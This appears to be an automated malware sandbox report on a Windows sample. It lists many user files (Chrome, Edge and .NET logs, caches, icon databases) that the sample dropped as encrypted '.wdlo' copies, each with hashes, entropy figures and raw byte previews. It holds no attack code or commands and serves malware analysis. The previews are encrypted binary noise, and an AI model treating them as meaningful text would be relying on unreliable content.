Preview:	.{..7I.......F..`8p..2.RT.....n_..L...u.}.'.\../......>>....h.;....o..v.Z.")..i^x.......FQ.Bb.z.\|..._B....+X...XW...E"..A.....@...;.%S...A.....v.1.."..$$SoG@....FS....o....._\)k.1....:...#...j....E..6R.}..m...k..:..c.z..f.T.. 1.\|..3...fb..Q."...~..../.!}.8..q..Lj2.......8.3>...[..s...Ay......?W...b..B.%..).....L]1.o.:;.f3n.J6}.<om! .^m..5.....ov......rU,..l.c.P)..[.......7ITJ.......&.......K`......8...\|..oD......w(...I..3Kv..c....E....r....E.N.K .Z.}.9F......[H.O...q..........B.+..Z..I..p!yu.j.=-.U....t.X~...\|...).R.<.(...+I..Z....y..#.4"^.:R..S\9.t[.u).vl..3;....(.f_[...:...he.O...sA.W.....8.){>r.'.x...\.2............aO..Ha....,.......~.@..".....Q....i.:.....C..n..F.1).y6.7...@.dx..y..!.XS.Z..o^l.yf..&.i.P.>(..`.E...{.........%.~...!.!D.q..3..E.. .P5..a".T.J..!mw.b...}......h...Oq.q7...Yo%.0]R2.N....;..@%..>...d.R1./...$ ..$.Y.~.:J......o.Y..Ub.k..;...\|.........a$./L>~{.~\..sJ.....F.8..Ls....Vm.0CZ....&....\sj.'.y...}.5.R~.@..>9.....3.d

C:\Users\user\Local Settings\ConnectedDevicesPlatform\L.user.cdpresource.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	388
Entropy (8bit):	7.4465245779976135
Encrypted:	false
SSDEEP:	12:SHIPKfa4miuWbgo1Fvuj6bJ+L5e8ChfyM36Wcii9a:xKfa0ucgUvujR1e8uaM3zbD
MD5:	843014F287F4955AA28BD02D535A241B
SHA1:	CE022557794C36DE8EAD8638F8C215C2989A2EF2
SHA-256:	1FCDB50F7F940AA740B5A5D4D38AFA2E6B173892967E812BF43EA0653606B4B1
SHA-512:	4C6E60574CD5122A6D726E6C1AC7A5DB7CAE0061ACE55E544D5B167F742586F738BA3BD52EC53ECC0A98A652893E9CACEAFFBFBAD4D150EB6ECEAE8CB355A7FE
Malicious:	false
Preview:	.{...f.%..b...@.....5....[..]........v..3..Mm+6...../....N.i..5..x.~..v4&....h.....x>.]y#.O....x..:..$eY..).6.%...........l...V..=..UZ(B..l,'.....k...........k.].....$&R?9.N.......8j.w._...I,..=c...L.6.q..1...... .#.j....u.-..2{...L....-hF...2.;...e.G.0p..X.g.....;......8...Br......f..i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.idx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65886
Entropy (8bit):	7.997029023910647
Encrypted:	true
SSDEEP:	1536:g7OnWObgCu1I4ht4sFVl0wD8c3KyUCvN6Q07bFng8D:sOWQg31Vbz0J7yZV07bFng8D
MD5:	E0462272E7DDE65DE0BD4B2D2E15311E
SHA1:	872A69C9A72007D349C41D9492BB3B09CC65C7D6
SHA-256:	977BDEF9C3BBA2809428F773BC53DBA7D73D72D4CD1247199CD187992F21A036
SHA-512:	1DF9FFC8FBA002ACD140592E0D1D9EBACA811492788C75A8ADD94E18B76FFB55DB16EABF3A24382777A19A973D527615B40360DC74AA04E2DF4A0EC555311F0A
Malicious:	true
Preview:	...S...I.......zo..`..&_}(9.0I...o..B.Ku.c!.j.PP..<"...F%..<9Lk..... ...y..6..JO.8.[HZ..rO...st.+.k...o.."..l.-.^..K.Q........Z.Y..X.-=..LK.......{..k..FB....d.d..a..M...L.CYM;.2.:....I..J.].U...2...$..`wcypq!3:M...'XsUQ..lx.........V.V....4.........u../.E.....<..y...%..h....,E..bH.....m.E.R6..V(..h.....{..t.2...3..l.....6<m!a.j(...l;......,...C=..5....\..n.=...(.6.+!.:>q.=......4(:..Z...A........oX...hn........:.~..C..o..@...(X.?G..c...h......=.^........#&.oW7O....Sb..+L...h..........;.,.Rh.x....w.........<~.....}.%..Ma.R...D..vG..uJ...6EK-S..G..]..../p.p\....W-..........`.U..T.....O.F.w.......d.(,.W.&...c'.8fr...K.$.?+.M,./...[..-....Uf..S...c.1_.~"...Bp..Q.U.G....=!.>8.=........y1.A.zu~..._Oc.....S.+.........WS..@pF....y..*....2N.9......;..w.....G.g...LGc~........4dU.5.%...@.<.......{..duf.+/.AD=.#"S.h...K.(..K/_\|..1....x.z.. .=....F..-.o.0\|...t..+N#.#.-.2O..LS..-EM..........H...a.}..k.U.;-.....N.,..9uZ.c.....,.)R.}.4...lS,_..ZJh.`...rDbn.

C:\Users\user\Local Settings\D3DSCache\f4d41c5d09ae781\F4EB2D6C-ED2B-4BDD-AD9D-F913287E6768.val.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.30186549060973256
Encrypted:	false
SSDEEP:	24:3ZWUKFqN4rV26c5BXcluxKpT7TrxKz0iSC9WD1LZzdUfCyKurz3zbz:gUJu+7XcEsl1vDvzdU6wX3nz
MD5:	D7BD7F2A6CFC320D2661400ADB99C982
SHA1:	16490804A6AF0992613EFBE269B6B51CB586C632
SHA-256:	BCAB43BDB0BA423A7FC147E46FF38C593C470226A72EB171605C92E7A73E3433
SHA-512:	91863BE3F48FC70317F08A5F299B21F1CD084A2915ABFDFE813FA6E2A56C90F9252AA0A030357924E8A0096AB765033795604765E76CFC55E1BBEAE7A382937D
Malicious:	false
Preview:	........3H.4O.H..gvK"..43.Z...y....?.Y5........V4.......g.Y4:..E.j.[.?.`.Ul.>..L.ot...y....g.2N1P.._.0[B...jt.-....$.d:.b.#tQ......Y1.XM..-./..}...=.R...M..r...@.n....2<..g.W~.8.U..U....n.].&A!P...21....D.....6....2.....)......l_.?Tm7....S..vRqf=..x..5...OR.I....c.z..4..Z\|..B...W.6...t_............;..x......&...V...h...mtxkW]..8-...)...$.7...Xs......:.f'1g.y..^.}........N.,.....].rg.h.........\..t.R.....LsD...@.;..<...V..b.M.....".Nb.l.....l\..c=.,h.B.2.'..z.ZJ^H....Hr.W=y7.!.V....8..>..k.(._....i.s....K...iK....U[g....x.mx..28...(nt..Z......:..!{..'.....{C.3..da....`...6.,f.c+.....5.ai..c\.-.b...g.=1.rE..,.....v.......LRao.}(.W....^l,.q.4%...{d..U..)N.....!.FV>...N....'.T\|.I..2.....e.`.gKS.4.A..A.X..d8.5.v.n...5+._.....T^...3.R..e.c...b.F..m....../.@..R.....7J$......M[0.9..\.^...%%......+..E.-.J.k..x.....i...umH.."....d....L.8..^A..!b...1. ..1.R(Z..@.)4.I...@.>.t...y..U...g..[.*..K3.Mu(..B.u.>...8FC.....r(.....Y<..M\|.._BG..2qI?i.V...

C:\Users\user\Local Settings\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D6B39-2380.pma.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.8391625856726974
Encrypted:	false
SSDEEP:	6144:q0NHvDsHdepI+qIlI98EQ2qd5J8pLaHurC6b89GNA:q0NHLUdv+o9hql0zC
MD5:	68B319ABA4AB0216B5D937F8198CCEC1
SHA1:	0E7B7842A3E9B42A32A4E985067617D80F1338AA
SHA-256:	B6CAFEFA1D2ABA1871A041CF336491E70B1771DD92073F4B020BC9851549A64F
SHA-512:	7F28335777D560F2E762100080855F9D3C76E34AE2FACBD4E61FDFA7CC4B101111042C44CDA949B1EA3AA38C1FDC253EB8A824856E6B30C038957C4ECC7094A4
Malicious:	false
Preview:	...@...S.].C.........7.?f.VQ.....<%1..PHc.@:4Q..t...,.=..L`p...z.-.N`...2D..%..'9'.Z.Q?,..(.xcd..7B.<.~...............g...<\......&{^...>z/.....2$...6{N..?;.....c.Ad...i\.TS....`%........ .n.4.I.`9^1.&....fej...'..y0..{_~.l..M.......1...OD.@\.;..).....R.....@.7.#..o....s&.1Q....x.9F...n..Y...U.n....P..\|...?....#.6......uP.WT...?RW%.(...pE.....u..U=S...L ".c.a.JB.......X6...R.....t.....p..L....&&..0.~y.}3}W..........km.......F..u.+E..[.k.vDV'?.....OY....a2...0?g.).4.\|.,0..U..R..W.....Cr3.-.1._h.. Y~.HQEWG2.. .o..N..u.Jk49e...X^..$...".P..??..R.f..r....p0...v./.%><.n#9...Dwo.X._q.&..p.....2'G.^..>..M....N...F9%.&.H..y..9u.%.UM.^^:.u...I..T..d!#..jv....w...9i.jG...I..........c...({.s.7..h...1.x@G&.2`B$../y..>....X..70o.81.....p;.@...fZ............T>........vDp..3!..>..U. ..i.5.T....n.{?3."e.%b..O......w.#a....X..3.3...Z.q.V.......`.@!.5...E.....;.C*_ig.!..\)/.C..V..4..J.......NM._.V....eK.SQ.....%4...Rr..E#W.MnQ...X.....BN...K..._....>.`...W

C:\Users\user\Local Settings\Google\Chrome\User Data\Crashpad\settings.dat.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.369938537815127
Encrypted:	false
SSDEEP:	6:gScJ8G4Fkf9tCfWRTrjx9mdafAB09Rjd/bql9+EVtBdpKJ69DpaG03OsVolWbz6Q:gSmwkf9d5juafk09BMEiXnKy0h36WciD
MD5:	0F3F9127817EC8EE795B68B2847FA2B2
SHA1:	0E1A5E160DDA748E830D0E62C616038BFC83665E
SHA-256:	6A0A5CE9020C4FA2D05D39C98AC7A5E95E06019EB5C7F4B6C1B4F508B831E9DD
SHA-512:	F0D0565BA0970A1BE985F40569B0E9912B7FCF5AC10AE1749BE94C99D07649E80E816F1ACBBA44C0417502C5054B8F911553F280BDADF4C655763556F04C487E
Malicious:	false
Preview:	sdPC..[P=<Z.r.f.\.\.-.^..........I../.".t...*.w...B..d..T&..NX..Mn.6.E.5A>....~,.B9..c.VV.....H.&.......l.7..T.?#.....o@........Y0U.g.d.R...:..}".....I.......?..:.....+%.z%...D)........Y.,..../....Y.>.e..+....Z..Z.s_0....YA....).;...cB<.p.....e... .k^..R._..h../..\|......=...%.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	198128
Entropy (8bit):	7.998538079087817
Encrypted:	true
SSDEEP:	6144:DL6oM9me9p3nkzqZQUuEObnMXVCvoZhhl+Nq:DLFMnkzjUuEOrMhl+A
MD5:	8B48E7D9378F197D07EA6BC1DD211580
SHA1:	6F5D8A6DCACF4B40B3CA181B78446F8E75B169AD
SHA-256:	E7C2A232342FE57526873729580DCA3C8F88C5E2F6B06D5CFBEE75F3E2A8DE9C
SHA-512:	C8D643E7E91712123C875252934DDF78CE5C393077997A7CCDE1CF1B3C29C9534C38A87318459A34746263A4AB50E3F80F48BAF56969D95C3FDC584989E10C47
Malicious:	true
Preview:	.......p...<N....._'..Nj...{.}EZp..[.n....K.^....-%......cw#....\...".Fo.^.T..4^i..[0....Y\...GN..Ma4BG...?...S...N..`.......}....=.vFJz...^.`.c..a.3..5..CW...%......P..d..8#.{)...u....u..r..c<.1..?..A,.w.c.c....K.l.YO.$..C.....GU.$.&..?..........neC..[.)n...).R..../".E.^'..b....+"..t..A.UZ.n.M.(.=..1.(d....gB../...^.#h..\..;........F@.3...e.Z....+.E.......q$.G..n..U..\'.8..$.yH.{c.d....D..%5O..D.$T/.....yH..{.[......K......u..n5+.9.bw..,F.<.e9X.3..4..{...j....,bI.2F...k.y%.~..<..Z.....F-.9...=3Q<.t._.N'... ...<...$.Z.%.....c=Pq>.M.\.c)oS#..Oz.3WRhY.....*]._].......RA..ZC..6.4&.. .K....C.".n..V#B({u.,.&.......y.."0M.6.e..av...\|...z..........d.3Q8;.:..?`#....C..D..f.&)....a..3.rrO@......OJ../..S@&.p....8.C...O.tt..s..........n..(a.......D1..J.x..1.Y^{M..Bz.t>..T?.....`<..q3..+.ZsTDD.T.!B..\|.Km<....H. ..... ......6.!..X...?.6...[....f.b`...o;....9.K...o.;..(T...tl\|E.<.qSy'..mn....f.t.IS..g..=...8$...VT5..##.g..4N.=...vZ~..<..-.....{......

C:\Users\user\Local Settings\Google\Chrome\User Data\first_party_sets.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.995732033076731
Encrypted:	true
SSDEEP:	768:J02+TCReJzc58S8eLq5yjfqMvmglaM/rK3edO72LphHUSz8gj/A7fgtT47u2sGO+:J02vOwz8eLcc7/eopUgj/A7fgui2sGyE
MD5:	554FB5CD3E07451F34155873273746EB
SHA1:	7164874E81252CD2B140AFF8BDEDBC683427D94F
SHA-256:	31373C4A3F5CD16A5799E065610EE356DEA1BEC8265B528509E6A61A4C7147C8
SHA-512:	8C553EE57F66F78CB242C13CF971AC881F23BE65003DCB58726BB3343C694DD263CF7DB68D04BE40FE1DD7F223E48C8FE86AF57FC777FC0E8B9E089385800BE7
Malicious:	true
Preview:	SQLit.\.....>.f.]C.A6.$F..S....1?...mjx.C...q.x}...F.W74...j.7...C..%..#md...<....7......H..o..n......o..J..,L.d.."F.4.W..1...V.<.6...Nb...5-?l..6N.zZ."<T.p.?=j..n[..Og.t.,...........Iyp....jD.s...O.(.7...3..Q....0_..m.....y^).c/.g6.6...[..`..W.'..p..H......]..v.V.S..%qb......i...\|&_....B.....^uL..GL.w..3.Lu..T.#N.g.:.dwA........YD/..w.2T.f.=......Pl.A1.L!8.........b..1....H.F....(.Ke&2.>.)L'.::^...+IZ........U#...>.y.T...L...X...9.-"....rC..L...=..d...{O..3..VT(....`.".To....H..>z.z...%'v?......s.D.....E}...&A..;@...(....=7....%.Y...6...R..#.Ls.~.7.<..{}s.j.-..5..z)..H?..r:..&!B....o..~Mi..)...myi.....d...4.j...H....4e..;...!}A...........Y........2..S......).f.>..~........+.e..I...,......l.....[.....,W...0).....B.......E..L..B..}...\|@>.l..]......s/..iq.^..n(.y.)x.!...k.A....D.6...Y..x.6rv.CMv.fr....W.AB.~3..s.........A.H...c.&4....H..Yj.^..='....o`9..sT#.{~'.;...-c^z..8B........@.......w.....r\N.^j .a..0J.H.\|.FBs.;..z..t....M.!fS.Y..7.E.V..

C:\Users\user\Local Settings\IconCache.db.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	11010
Entropy (8bit):	7.983311976818468
Encrypted:	false
SSDEEP:	192:vf8I3wFO7EhlxWSj7loffYGIfB732VTkBwaSVLKuxlrXoFQ9KW:8IRIzNOYD0iw/uuB1
MD5:	9E742AF8F2058F1A5EF21FCE9624E817
SHA1:	68C82CD4A3535AFA64B7652E21B2C51AD4DCAC17
SHA-256:	08EC3BDB31EF576730981FCD39600DAF5C24606577362F0EE0F2D2DD8078D5BB
SHA-512:	6B3E3D94D8AF63E8FCA998474C8AB7943D9594F6852EE74BA9CB3608A0D45AD3120CC58181771C953565E80170F1035E6A8D732393A187B5D596F6A7E160FA74
Malicious:	false
Preview:	H...W.8'.....6..i.m.....H....,&F..V.%{..x>.....2,..XF.Z..I5_..o%L..........Wv-@.....>.....?.<.E.....yR.-@"..6.&..c..X.\|..j]...Zp#\[]....u......V.C..&..aD.T.:P8.e<........L.!.......?.....Jb/8}.....'nh..\6.[...bt..-?}..H,1h.T>.d..k.O.f/..M].6....].....Xw..-.T$.........^.F.W..-...o...$.9s.#N........)2.#:@@....y.....q...8.8..y5y...u...U..........fS.....-Oi..0Ns.v..C...7..... f.Wt/}.v:_.eP......(...~T.g.......\|.I@.F6.>...=L.......K.@z.B..........D.......`.......-...\+m...:g.q.........(.>W>..l.]...........}%f..u....'9...06_..o~)2.-......(......E.....HI.<.T.-.}n....k...3J...RI._.;.K?...L!.!v..].eH..9..l.h.3H.,.run.&\|...,..T#.......yho.]i....\...Xw......J.o.`.\|....K8,..=.\|......D.....>.NK=........abD.3 UrK..q.sE-.j.i..q'!.&.2.....LT.K..&...J.J....{^.........Y&..VM....+....{*.M......Of....'C._.N.!..A.Zz.s....E.x"...v.v.....?..P..6m....k.S)+m..ob. .p...h.."l<+.i8OR....g..5...F.k..u&. .W...O-....f..K.o..Hb..\|{....wL..d.M....M.dF2.Tu

C:\Users\user\Local Settings\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.243526403415818
Encrypted:	false
SSDEEP:	6:QXPsv5e9BLTOJ+bE6c8IeYH36GWOd/HluBFOBma697QbOsVolWbz6Wcii96Z:Q/OkhSneYHKGzH85l9Y36Wcii9a
MD5:	15FBD6FAC616307AAD33D94E3A9FE077
SHA1:	6D445D0880F59B9FD43E4405E51EDF2738835266
SHA-256:	5A6FE72D8711D0C56909285C8262DFDF1BE78AB48509829B171AA7DF1C492560
SHA-512:	660E2FD97374335834878F35CCF21246E9B7C1BB10483DAD5E075538D14076BC0515AFDEA247E7E3330B65D054DEA0119CA6576FA01BA7CBA1D04C4833922F6F
Malicious:	false
Preview:	1,"fu..u/.,$i>.....)iX.L-....X.<...b].4.ng.......u...z..n.....I.C.m.........(.....h....U..[..a.6K.......)..B{..V]...Bh&.}G.)..g.E.Vv^Fr\|.A..k....l.Z..,..F.)y1C.t/.L.9..\|.><c.N..1..g.,...C......y~...e#.p.q5..X.)wV;n.[..U..E=..$.wA.k.v......sC...._..]/F`.&.......i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\InspectorOfficeGadget.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1554
Entropy (8bit):	7.848689827723783
Encrypted:	false
SSDEEP:	48:WZO7ElsviD5L7azVMlOmu/GqF/InX5/3nD:WZvmvifl/M/+l
MD5:	7DFCBC160F9DAB8318808FC1BB202B59
SHA1:	185E3527805656863DEE22AFAC825512265D432D
SHA-256:	6CF68BDCA1DBC6D83655032E9B0FE26867389545A6F906BE381AA43739EB720A
SHA-512:	66EC3460FD986C2FE08D4DF35EACB97FA98A436FBD5716050A6F43376B967B46607CA443BCB33F8808991BD345C157EC35FCE31B7F7C972B9D94C07FDB14FFB5
Malicious:	false
Preview:	1,"fu9.Ps,..';BU...Q.1..5.0.).}.....tI..Bn..+.>.;..t2./.C...o6U.sTg.....#m......3.......7.U+Z..e......~....g..T4.?...-K.....e...W..s.c;.TpcuL..\....)....5.P..Y..Q...f,G,.D0....w9.jE.qL....Yf.<y..I.._...Y.X$.7_H-:G.....h3.\|J....d...vt..01.&...&........j]..6.s...C.5_..@.t..x....g...A...p...."....~l4z.....Dv..8.F.t...O.q..vt.93f....!;.d..\wP.>...j...c.....S...........'..........d.........O....a...;. g......sk.].....:.?M..#+.P..sp!w.......&.....n....Q.o.....@..rG{&k+....\.g@..^~h.z...>W......Q6...#Q.u...g.j..5....#......3.Is.K.+.E-b.......@..2.."~M.=f" 4.x.Ymt.....9..2...)l..v#...v./.x..n...t.+.Mx.H...7B...H...W...r+\|!.X%.>..%.........3K.w.9..}Pee.MiB.....#4~..n\...dn..........=r....s.,.W.`._....!pB.d.)@......E..o1{^6.d...F$.<ZG......s..e.;...t...-s.F......@\.......)I.........&.Apy..QF-..I0..eh}..%.'B..... ..dc%N.J.Y.Qv3....#....P...zdz.2...[@"e..=...=..o...e...BX..$......{8P.4.{%..sh..Y.C..i..>.......e.E;..9...a.+w .f.5..r

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\UsageLogs\NGenTask.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.7956229651543545
Encrypted:	false
SSDEEP:	24:YA5EFa0IKAeq5vpLWqI4LyDhpB6t1AqhHs9Y1R3gBPB0LDGKR3zbD:YaE7py1w54WFpBRqHiY1R3gBPDKR3nD
MD5:	82A26DD1FCC69FC1AD712FAAC4698182
SHA1:	EC0FB3F6D2BB72C17780DA56CD7973B88B2431C7
SHA-256:	F78A92E74D0B7B2EC3481AB2CFFED8DFC3460FF3DBA823A5C685E076A8C76A05
SHA-512:	F3FEF5605D1087FF109335DF8ADB61113341274D52449203C6ECF033AE9134D6934117D8545EC76C6B430C4F8F951998A234795C590B1767E7C20E8B3959A68D
Malicious:	false
Preview:	1,"fu.D....p..x..,.j...!.(..(/...]..z.z...RM,.^.W.?>....J.c..-g.......\....U}.FOt.....y.W....2]']..h.....,KW...3.'X7.tU. ....#.,L.4+.1c..M...S.....O@+.Y./...@..%-.yL.Z.p.....m.6.k-......7h....z`R.&S.Jn....1..M.....c.y....!z....v..7.S.L..J...8h.:..c.rCK.H..4.........F.=;4.S...+..cC...O.....O...{.P.}..k...'3_q@..-..4FI...#/k.....A....C..U...H..)..B...K8[v...Y0..".........Q.@.+....f...._..Z...=...<..s..~..]..9.......s...g.0.......b..Nl..El..._.\.ZO.....,......!..t.3..Dy....!.......cN5>y7....!.{...2.%....m......... ../.u.S..`.<...JK.N;.Vk;..1...".mf..~...g.)......I.J..6..S.m....."..X...Q.\|0..G.E0.IoD"..yb.r\.....~R...."1........ \|x;.v.1......_......Q.h4i.lX..c........q....}...K..~..3.8.{....~..[QgQjh..NX(s.u.{..q(................=.5.O..D.XE Ec.e6.e!..L(./.].5....g......a3#m.ct...n`ot..O%...@.FN,....A.ZT..wu..t..8.ZQ7A.\9.,)...&y...8..]...i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0\ngen.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	669
Entropy (8bit):	7.696403966982786
Encrypted:	false
SSDEEP:	12:fwWUPcYYAUbY174phzoJVVGg1wpOSU9UvuVOln6OSFWRYwwDqR5QWFVJPJ0vsMeT:71YY1LPzobVp/H9zQlnlScJw8QWFL3Mw
MD5:	395C16A24B9C2533E30A5B219784BD80
SHA1:	3E6C1D9690EE74D8A5D04F1FCA271A4264348B5A
SHA-256:	C3AD0CF4BED6055A15906931363F8FE6E815743ED4D675674ABD24A7398E9414
SHA-512:	D2EDDFB585880538036E3D8B1E24A9A9F47DA2361ED0C43ED13D5E5EFC2C1752A9A37172FDC977D3E5E7829B8D6D2526267CC75C115F6FC408A7BFA350355FCD
Malicious:	false
Preview:	.To...&.M...v.8.20.T..E.U.U..~..d.X,.<......{....^.......w...B..I=]...y.."..n.Z..R.J...>I$.;e3........1.h.].~a.J.v_.......e.M.BU...-...)..Lo8..<)8..}..o2...d#.tw>2.n.......:d..j......#a...Z...@(;X.S.2.q0.."...O+..-..$.....A\|......5..>.j....c.Dk\....ZY..&._<.:...~..u.>.p&]^..bV.5..l.F....0?.3.&w+..TM=uu.Y....r..5.H...K........S...<...)..+u...q.'.....}...n......J.....[...:..t.<1p.+Q..Q.1~.......X....y.P....M.....-E..*C.......]......c......q$....e...I/......}..{R.m.....m.s..7.5`[....FX<.k...".U...2p..1L..%rC.F...b.)...b?.wY...j..D..+..Q...s.t..i.cPg.R...&i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\UsageLogs\NGenTask.exe.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	976
Entropy (8bit):	7.758452953909629
Encrypted:	false
SSDEEP:	24:Jf/xJOAIrD7Z7oMcdcyOg8KYt8MnRlw+erACq3zbD:JXvmtoMcdMgxy8MnRfT3nD
MD5:	D6523CF48FE36AF2AFF6EDCCA2CCEEF8
SHA1:	ECE7D38ED58214264FE474459A9DDE39B2BD76D2
SHA-256:	5574A3AD30F90A2892B0ABF96F7F7C9B8F19A814E307F2638C445732F1EECE89
SHA-512:	B8F66671D625E537209DD1891B45829EB2F9EBEDF154F3CC0054D319898FA667FE3E4AA64FBEEBB157078112B80A800BD4AF343952D8E35D5BBBE0A6D6321921
Malicious:	false
Preview:	1,"fu..1.....k..e....:...:r..O..F..x1.@k{..AN.....F.~..r...&.k.z.....N....am@...u.`[fBm...$........;.a..e..J.c.)$k}..0..B.6.U9..Gu.l.4.w.....m..r..f.[2..].>...r.U#..W03.O~..]x.F....Ac{f$:..u.k.6&..Y.^........TZ.i\|....H......<.Y.N1...J.I.pnb=E......6....l...,.....Y.X.F..KU...N.C..k.t.....uO..~.&C...n....$.Xh..iO..u.B.....2u,.Lpe!.@.nm..}.BU.<5`^.Ba...0\|.]/!.[.V.X..F..=.{.....1..#c.o.g.....JOl=.......4.tQ....U.=......0Az.w.{&{....B.=}!.{.C......~.F.........,.:j..`.a.....J..?...P.....<..K.j...0T.0..U.U.aE..... ..f...Tr.vKr2.N..;.f.1..1.G......WN.X..,......yOn....f....:'q3o.C.pM..v......:.6.a..~..../[..A....7w..x'...kVpJY5q%_.....r..3E... ... Wc8W.......0.t....F...L.k..D.3x..D.rkJ".....O.r..-..W).:u...t......:..5.[..#.}.\...`3...p..R....)(..Hp...lSpB......K6.Py..H...Q.....-t..`...4Z[ V..-..?.(...`E\|AU._I....W.X.o......._.j(Fm.~...9.~..R.Y.%.....ti0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\CLR_v4.0_32\ngen.log.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	667
Entropy (8bit):	7.6136381664138355
Encrypted:	false
SSDEEP:	12:OLhH1Ur4lWgOMB4iJy63sEay8uYD86udOsKdT6zDXyntJrbB36Wcii9a:BxgO7UZ4EdVKduzjmLXB3zbD
MD5:	7D931A204A2F6D80F427D4DC5C5AEECF
SHA1:	425ADE40B42CE294B07349B5D9192FFAD74FA25C
SHA-256:	92C1D85F1D22D74D8FD4DF653564C32BCB0B8A8D7393B94BBA13A5BB0FBBE510
SHA-512:	CFF52DBC3EB50DD66D6DD50137823DB48992C3C38C7E51BDD137051EEDB6EA218F9267A0EFC987CCE293212E3FFBB98E1D2FED9A3F4A2374BB928079558FCAA6
Malicious:	false
Preview:	.To.o0$..&....]..]..U1......Oq....u\|....B..wM0....3..(..oi.....<.........w........-....f....L..yZ.J?T..[(..R.R&`..r....0.w.;...y.J..du0..-i...o.....8..8..].l.Q`.....xY.Q..=.N./.e.}R H..=...1.+.&U...5...;..".b..G.&."...q.h..x.Q.Kd-..\.Y..{..C;../.op....;.....:.9.Rox.Ja~."f L\|.M.M....."-.+4.\(.v.$..98.....No.x....(..,.=...>~.O~.....,..F.i.bf..\.....@...`O.mm.6.k..s..[.d...7r....&=.-..o.....Y9.x6g....I....a....l.&.A.VX8=b..69,[.(~..m.Z.Fv..;..7.....H.g....Y..l.B~,...Z.M..?.(..g.eVC.59.".BC..O^.J....A+..a....X.......R.xj&.>c(.UDc.....yB.Fi...js.+Z..x.I.i0fXrUHVihm5xsI9Icg243YMPJqd748Ocimkyjt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184846954668196
Encrypted:	false
SSDEEP:	3072:Ik1SYLZ3wpRf+Q8xR6Hw6+GNu/TcP4kVxMeI/EZS9OFsuSM:1PNgpx+Q8iH9UrcAYS0z
